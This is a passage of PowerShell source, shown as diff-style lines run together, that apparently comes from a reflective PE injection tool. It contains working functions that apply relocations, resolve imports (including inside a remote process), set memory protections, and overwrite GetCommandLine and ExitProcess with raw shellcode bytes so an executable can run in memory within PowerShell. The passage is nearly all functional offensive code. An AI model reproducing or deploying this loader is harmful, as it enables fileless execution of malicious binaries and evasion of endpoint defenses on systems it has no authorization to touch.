$SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $LoadByOrdinal = $false + [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + if ($LoadByOrdinal) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" + } + else + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + #Cleanup + #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed + if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) + { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) + $ProcedureNamePtr = [IntPtr]::Zero + } + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned 